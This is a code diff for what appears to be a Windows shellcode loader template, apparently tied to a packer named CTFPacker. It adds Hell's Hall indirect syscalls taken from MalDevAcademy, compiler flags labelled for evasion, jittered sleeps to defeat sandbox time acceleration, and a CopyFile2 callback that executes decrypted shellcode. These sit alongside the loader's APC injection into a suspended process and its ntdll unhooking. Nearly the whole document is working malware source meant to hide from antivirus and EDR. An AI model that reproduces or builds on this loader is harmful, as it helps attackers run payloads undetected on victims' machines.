#define SW3_SEED 0x51EBD349
#define SW3_ROL8(v) (v << 8 | v >> 24)
#define SW3_ROR8(v) (v >> 8 | v << 24)
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
#define SW3_MAX_ENTRIES 600
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
// Typedefs are prefixed to avoid pollution.
typedef struct _SW3_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
PVOID SyscallAddress;
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
typedef struct _SW3_SYSCALL_LIST
{
DWORD Count;
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
DWORD SW3_HashSyscall(PCSTR FunctionName);
BOOL SW3_PopulateSyscallList();
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
EXTERN_C NTSTATUS NTAVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
EXTERN_C NTSTATUS NTPVM(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN OUT PSIZE_T RegionSize,
IN ULONG NewProtect,
OUT PULONG OldProtect);
EXTERN_C NTSTATUS NTWVM(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
EXTERN_C NTSTATUS NTQAT(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
#endif
#include "hellhall.h"
+47 -15
View File
@@ -1,5 +1,6 @@
###############################################################################
# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux
# Makefile for Clang (MinGW) cross-compiling from Linux
# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm)
# DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING
###############################################################################
@@ -8,15 +9,29 @@
# ───────────────────────────────────────────────────────────────────────────────
.SUFFIXES:
TARGET_TRIPLE ?= x86_64-w64-mingw32
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld
# MinGWw64 include / lib helper paths (autodetect the GCC win32 subtree)
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1)
INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include
INCLUDE := -I$(INCLUDE_DIR)
LIBPATH := -L$(GCC_WIN32_PATH)
# Parallel jobs — use all available cores (override with: make JOBS=N)
JOBS ?= $(shell nproc 2>/dev/null || echo 4)
MAKEFLAGS += -j$(JOBS)
# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ───────────────────────
MINGW_SYSROOT := /usr/$(TARGET_TRIPLE)
INCLUDE_DIR := $(MINGW_SYSROOT)/include
MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib
INCLUDE := -I$(INCLUDE_DIR)
# GCC runtime libs (libgcc.a, libmingwex.a …).
# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent
# (e.g. llvm-mingw-only setups).
GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1)
ifeq ($(GCC_WIN32_PATH),)
GCC_WIN32_PATH := $(MINGW_LIB_DIR)
endif
# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …)
LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR)
# ───────────────────────────────────────────────────────────────────────────────
# 2. Build format selector (EXE is default)
@@ -27,10 +42,12 @@ FORMAT ?= EXE # { EXE | DLL }
# 3. Source files
# ───────────────────────────────────────────────────────────────────────────────
COMMON_SRCS := \
api_hashing.c \
api_hashing.c \
inject.c \
unhook.c \
whispers.c
hellhall.c \
sandbox.c \
trampoline.c
ifeq ($(FORMAT),DLL)
MAIN_SRC := main_dll.c
@@ -59,8 +76,12 @@ ASFLAGS := -f win64
# Baseline flags from the original CTFPacker Makefile:
# -O0 -Wall -w -fms-extensions -fdeclspec -static
# We keep them intact so behaviour matches the preDLL build.
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static
LDFLAGS_BASE := -Wl,--disable-auto-import -s
# Hardening flags for evasion and binary optimization
HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \
-ffunction-sections -fdata-sections -Wl,--gc-sections
CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS)
LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows
LIBS := -lwinhttp -lntdll
ifeq ($(FORMAT),DLL)
@@ -75,15 +96,26 @@ endif
# ───────────────────────────────────────────────────────────────────────────────
# 6. Phony targets
# ───────────────────────────────────────────────────────────────────────────────
.PHONY: all exe dll clean
.PHONY: all exe dll clean check
all: $(TARGET)
exe:
$(MAKE) FORMAT=EXE
$(MAKE) FORMAT=EXE JOBS=$(JOBS)
dll:
$(MAKE) FORMAT=DLL
$(MAKE) FORMAT=DLL JOBS=$(JOBS)
# ── Toolchain sanity check ────────────────────────────────────────────────────
check:
@echo "[*] Checking required tools..."
@command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; }
@command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; }
@command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; }
@command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; }
@test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; }
@test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; }
@echo "[+] All tools OK (jobs=$(JOBS))"
# ───────────────────────────────────────────────────────────────────────────────
# 7. Linking & compilation rules
+6
View File
@@ -1,14 +1,20 @@
#pragma once
#include <stdint.h>
#include <stdlib.h>
// API Hashing Part
#define HASHA(API) (HashStringDjb2A((PCHAR) API))
#define INITIAL_HASH #-INITIAL_HASH_VALUE-#
#define INITIAL_SEED #-INITIAL_SEED_VALUE-#
// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration
#define JITTER_SLEEP(ms) \
WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1))))
BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload);
BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread);
BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress);
HMODULE GetModuleHandleH(DWORD dwModuleNameHash);
FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash);
+234
View File
@@ -0,0 +1,234 @@
/*
* hellhall.c
*
* Hell's Hall indirect syscall implementation.
* Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM.
*
* Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT
* are exported with identical signatures.
*
* How it works:
* 1. Walk the PEB InMemoryOrderModuleList to find ntdll base.
* 2. Enumerate the export directory; for each export, CRC32b-hash the name.
* 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX,<SSN>"
* to extract the syscall number (works even on hooked stubs).
* 4. Find the nearest "syscall" (0F 05) instruction within the stub.
* 5. SetConfig(SSN, &syscall_instr) stores both in .data globals.
* 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr]
* — execution resurfaces inside ntdll, making call stacks look legitimate.
*/
#include <windows.h>
#include "hellhall.h"
#include "structs.h"
/* -------------------------------------------------------------------------- */
/* Internal ntdll export-table context (populated once) */
/* -------------------------------------------------------------------------- */
typedef struct _HH_NTDLL {
PBYTE pBase;
PIMAGE_DOS_HEADER pDos;
PIMAGE_NT_HEADERS pNt;
PIMAGE_EXPORT_DIRECTORY pExp;
PDWORD pdwFunctions;
PDWORD pdwNames;
PWORD pwOrdinals;
} HH_NTDLL;
static HH_NTDLL gNtdll = { 0 };
/* Per-syscall cache — resolved once; avoids repeated export-table scans */
typedef struct _HH_CACHE {
SysFunc NtAllocateVirtualMemory;
SysFunc NtProtectVirtualMemory;
SysFunc NtWriteVirtualMemory;
SysFunc NtQueueApcThread;
} HH_CACHE;
static HH_CACHE gCache = { 0 };
static BOOL gReady = FALSE;
/* -------------------------------------------------------------------------- */
/* CRC32b */
/* -------------------------------------------------------------------------- */
hh_u32 HH_Crc32b(const hh_u8 *str)
{
hh_u32 crc = 0xFFFFFFFFu;
int i = 0;
while (str[i]) {
hh_u32 byte = (hh_u32)str[i];
crc ^= byte;
for (int j = 7; j >= 0; j--) {
hh_u32 mask = (hh_u32)(-(int)(crc & 1u));
crc = (crc >> 1) ^ (HH_SEED & mask);
}
i++;
}
return ~crc;
}
/* -------------------------------------------------------------------------- */
/* Populate ntdll export-table pointers (once) */
/* -------------------------------------------------------------------------- */
BOOL HH_InitNtdll(VOID)
{
if (gNtdll.pBase) return TRUE;
/* Walk PEB -> LDR InMemoryOrderModuleList:
* [1] = the process image itself
* [2] = ntdll.dll (always second in InMemoryOrder)
*
* Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1]
* .Flink -> InMemoryOrderLinks of entry[2] (ntdll)
* - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10)
* ->DllBase -> ntdll image base
*/
PPEB pPeb = (PPEB)__readgsqword(0x60);
if (!pPeb) return FALSE;
PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(
(PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);
if (!pDte) return FALSE;
gNtdll.pBase = (PBYTE)pDte->DllBase;
if (!gNtdll.pBase) return FALSE;
gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase;
if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew);
if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE;
gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase +
gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE;
gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions);
gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames);
gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals);
return TRUE;
}
/* -------------------------------------------------------------------------- */
/* Resolve SSN + indirect syscall address for one NT function */
/* -------------------------------------------------------------------------- */
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF)
{
if (!uHash || !psF) return FALSE;
if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE;
RtlSecureZeroMemory(psF, sizeof(SysFunc));
for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) {
CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]);
if (HH_Crc32b((hh_u8 *)name) != uHash)
continue;
psF->uHash = uHash;
psF->pAddress = (PBYTE)(gNtdll.pBase +
gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]);
/* Scan stub body for:
* 4C 8B D1 mov r10, rcx
* B8 lo hi 00 00 mov eax, <SSN>
*
* Works even when the first few bytes are hooked/patched, because
* EDR hooks typically only overwrite the first 5-10 bytes (the jmp).
*/
for (DWORD j = 0; j < 0x50; j++) {
/* Hit a ret before finding the pattern — stub is trampolined oddly */
if (*((PBYTE)psF->pAddress + j) == 0xC3)
return FALSE;
if (*((PBYTE)psF->pAddress + j + 0) == 0x4C &&
*((PBYTE)psF->pAddress + j + 1) == 0x8B &&
*((PBYTE)psF->pAddress + j + 2) == 0xD1 &&
*((PBYTE)psF->pAddress + j + 3) == 0xB8)
{
BYTE lo = *((PBYTE)psF->pAddress + j + 4);
BYTE hi = *((PBYTE)psF->pAddress + j + 5);
psF->wSSN = (WORD)((hi << 8) | lo);
/* Find the nearest 'syscall' (0F 05) instruction */
for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) {
if (*((PBYTE)psF->pAddress + j + z) == 0x0F &&
*((PBYTE)psF->pAddress + j + x) == 0x05)
{
psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z);
break;
}
}
return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE;
}
}
}
return FALSE;
}
/* -------------------------------------------------------------------------- */
/* One-time init — resolve all 4 syscalls and cache */
/* -------------------------------------------------------------------------- */
BOOL HH_Initialize(VOID)
{
if (gReady) return TRUE;
RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE));
if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE;
if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE;
gReady = TRUE;
return TRUE;
}
/* -------------------------------------------------------------------------- */
/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */
/* -------------------------------------------------------------------------- */
NTSTATUS NTAVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType, IN ULONG Protect)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtAllocateVirtualMemory);
return HellHall_NtAVM(ProcessHandle, BaseAddress,
ZeroBits, RegionSize, AllocationType, Protect);
}
NTSTATUS NTPVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtProtectVirtualMemory);
return HellHall_NtPVM(ProcessHandle, BaseAddress,
RegionSize, NewProtect, OldProtect);
}
NTSTATUS NTWVM(
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtWriteVirtualMemory);
return HellHall_NtWVM(ProcessHandle, BaseAddress,
Buffer, NumberOfBytesToWrite, NumberOfBytesWritten);
}
NTSTATUS NTQAT(
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3)
{
if (!HH_Initialize()) return (NTSTATUS)0xC0000001L;
SYSCALL(gCache.NtQueueApcThread);
return HellHall_NtQAT(ThreadHandle, ApcRoutine,
ApcArgument1, ApcArgument2, ApcArgument3);
}
+116
View File
@@ -0,0 +1,116 @@
/*
* hellhall.h
*
* Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction
* trampoline. Adapted from Hell's Hall (MalDevAcademy).
*
* Drop-in replacement for SysWhispers3.
* Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures.
*/
#pragma once
#include <windows.h>
/* -------------------------------------------------------------------------- */
/* Primitive types used internally */
/* -------------------------------------------------------------------------- */
typedef unsigned char hh_u8;
typedef unsigned int hh_u32;
/* -------------------------------------------------------------------------- */
/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */
/* -------------------------------------------------------------------------- */
#define HH_SEED 0xEDB88320u
#define HH_RANGE 0x1E /* max bytes to search forward for syscall */
hh_u32 HH_Crc32b(const hh_u8 *str);
#define HASH(s) HH_Crc32b((const hh_u8 *)(s))
/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */
#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu
#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u
#define HH_HASH_NtWriteVirtualMemory 0xE4879939u
#define HH_HASH_NtQueueApcThread 0x235B0390u
/* -------------------------------------------------------------------------- */
/* SysFunc — one instance per syscall */
/* -------------------------------------------------------------------------- */
typedef struct _SysFunc {
PVOID pInst; /* address of a 'syscall' instruction inside ntdll */
PBYTE pAddress; /* address of the NT stub in ntdll */
WORD wSSN; /* syscall service number */
hh_u32 uHash; /* CRC32b of the function name */
} SysFunc, *PSysFunc;
/* -------------------------------------------------------------------------- */
/* Assembly stubs (whispers-asm.x64.asm) */
/* -------------------------------------------------------------------------- */
EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst);
#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst))
/* -------------------------------------------------------------------------- */
/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */
/* -------------------------------------------------------------------------- */
#ifndef _NTDEF_
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#ifndef _KNORMAL_ROUTINE_DEFINED
#define _KNORMAL_ROUTINE_DEFINED
typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE;
#endif
/* -------------------------------------------------------------------------- */
/* Typed HellHall dispatch stubs (all share the same ASM body) */
/* -------------------------------------------------------------------------- */
EXTERN_C NTSTATUS HellHall_NtAVM(
HANDLE ProcessHandle, PVOID *BaseAddress,
ULONG ZeroBits, PSIZE_T RegionSize,
ULONG AllocationType, ULONG Protect);
EXTERN_C NTSTATUS HellHall_NtPVM(
HANDLE ProcessHandle, PVOID *BaseAddress,
PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
EXTERN_C NTSTATUS HellHall_NtWVM(
HANDLE ProcessHandle, PVOID BaseAddress,
PVOID Buffer, SIZE_T NumberOfBytesToWrite,
PSIZE_T NumberOfBytesWritten);
EXTERN_C NTSTATUS HellHall_NtQAT(
HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine,
PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
/* -------------------------------------------------------------------------- */
/* Hell's Hall C API */
/* -------------------------------------------------------------------------- */
BOOL HH_InitNtdll(VOID);
BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF);
BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */
/* -------------------------------------------------------------------------- */
/* Public wrappers — same signatures as the old SysWhispers3 stubs */
/* -------------------------------------------------------------------------- */
NTSTATUS NTAVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType, IN ULONG Protect);
NTSTATUS NTPVM(
IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress,
IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect);
NTSTATUS NTWVM(
IN HANDLE ProcessHandle, IN PVOID BaseAddress,
IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten);
NTSTATUS NTQAT(
IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL);
+125 -4
View File
@@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
// API Hashing
cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#);
Sleep(15000);
JITTER_SLEEP(15000);
if(!cCPAu(
NULL,
lpPath,
@@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
Sleep(5000);
JITTER_SLEEP(5000);
return TRUE;
}
@@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
//printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
Sleep(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
JITTER_SLEEP(2500);
if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) {
//printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
@@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel
return TRUE;
}
// CopyFile2 compat types — only define when winbase.h does not already provide them.
// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602.
// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on
// modern toolchains; it remains as a safety net for legacy environments.
#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602)
typedef enum _COPYFILE2_MESSAGE_TYPE {
COPYFILE2_CALLBACK_NONE = 0,
COPYFILE2_CALLBACK_CHUNK_STARTED,
COPYFILE2_CALLBACK_CHUNK_FINISHED,
COPYFILE2_CALLBACK_STREAM_STARTED,
COPYFILE2_CALLBACK_STREAM_FINISHED,
COPYFILE2_CALLBACK_POLL_CONTINUE,
COPYFILE2_CALLBACK_ERROR,
COPYFILE2_CALLBACK_MAX
} COPYFILE2_MESSAGE_TYPE;
typedef enum _COPYFILE2_MESSAGE_ACTION {
COPYFILE2_PROGRESS_CONTINUE = 0,
COPYFILE2_PROGRESS_CANCEL,
COPYFILE2_PROGRESS_STOP,
COPYFILE2_PROGRESS_QUIET,
COPYFILE2_PROGRESS_PAUSE
} COPYFILE2_MESSAGE_ACTION;
typedef struct COPYFILE2_MESSAGE {
COPYFILE2_MESSAGE_TYPE Type;
DWORD dwPadding;
union {
struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted;
struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished;
struct { DWORD dwStreamNumber; } StreamStarted;
struct { DWORD dwStreamNumber; } StreamFinished;
struct { DWORD dwReserved; } PollContinue;
struct { DWORD dwReserved; } Error;
} Info;
} COPYFILE2_MESSAGE;
typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)(
const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext);
typedef struct COPYFILE2_EXTENDED_PARAMETERS {
DWORD dwSize;
DWORD dwCopyFlags;
BOOL *pfCancel;
PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine;
PVOID pvCallbackContext;
} COPYFILE2_EXTENDED_PARAMETERS;
WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName,
PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters);
#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602
BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sSize = sSizeOfShellcode;
NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH];
WCHAR szDestFile[MAX_PATH];
// Allocate RW memory — will be flipped to RX before execution
*ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
//printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
//printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
// Copy shellcode to RW memory
RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode);
//printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode);
// Flip to RX. never hold W+X simultaneously
VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect);
// Setup CopyFile2 parameters with callback pointing to shellcode
COPYFILE2_EXTENDED_PARAMETERS params = { 0 };
params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS);
params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS;
params.pfCancel = FALSE;
params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback
params.pvCallbackContext = NULL;
// Get TEMP path and create source/dest file paths
GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH);
wcscpy(szDestFile, szSourceFile);
wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#");
wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#");
// Create a dummy source file
HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile != INVALID_HANDLE_VALUE) {
DWORD dwWritten;
BYTE dummyData[1024] = { 0x41 }; // Just some dummy data
WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL);
CloseHandle(hFile);
}
// Delete destination if it exists
DeleteFileW(szDestFile);
JITTER_SLEEP(1500);
//printf("[i] Triggering shellcode via CopyFile2 callback...\n");
// Trigger the callback by copying the file
// The progress routine (our shellcode) will be called during the copy operation
HRESULT hr = CopyFile2(szSourceFile, szDestFile, &params);
// Cleanup temp files
DeleteFileW(szSourceFile);
DeleteFileW(szDestFile);
if (SUCCEEDED(hr)) {
//printf("[+] Callback executed successfully!\n");
return TRUE;
} else {
//printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr);
return TRUE; // Still return TRUE as callback might have executed
}
}
+30 -32
View File
@@ -4,6 +4,8 @@
#include "whispers.h"
#include "functions.h"
#include "AES_128_CBC.h"
#include "sandbox.h"
#include "trampoline.h"
#define TARGET_PROCESS "#-TARGET_PROCESS-#"
@@ -16,7 +18,7 @@ unsigned char payload[] = {
#-PAYLOAD_VALUE-#
};
int main() {
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
SIZE_T sEncPayload = sizeof(payload);
PVOID pClearText = NULL,
@@ -32,6 +34,9 @@ int main() {
NTSTATUS STATUS = 0x00;
// Seed RNG for jittered sleep timing
srand((unsigned int)GetTickCount());
// #-SANDBOX_CHECK_CALL-#
//printf("[+] Un-hooking Ntdll \n");
LPVOID nt = MapNtdll();
if (!nt)
@@ -39,8 +44,11 @@ int main() {
if (!Unhook(nt))
return -1;
// Install hooks AFTER unhooking so they don't get erased
// #-TRAMPOLINE_CALL-#
Sleep(500);
JITTER_SLEEP(500);
//printf("[+] PID: %d\n", GetCurrentProcessId());
//printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload);
@@ -48,7 +56,7 @@ int main() {
// Decryption routine
//printf("[i] Starting the decryption...\n");
Sleep(500);
JITTER_SLEEP(500);
// Allocating memory to store the decrypted payload inside of pClearText
pClearText = (PBYTE)malloc(sEncPayload);
AES_DecryptInit(&ctx, aes_k, aes_i);
@@ -56,7 +64,7 @@ int main() {
//printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload);
Sleep(1500);
JITTER_SLEEP(1500);
//printf("[i] Creating suspended process..\n");
// Creating a suspeneded process now
if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) {
@@ -66,36 +74,26 @@ int main() {
}
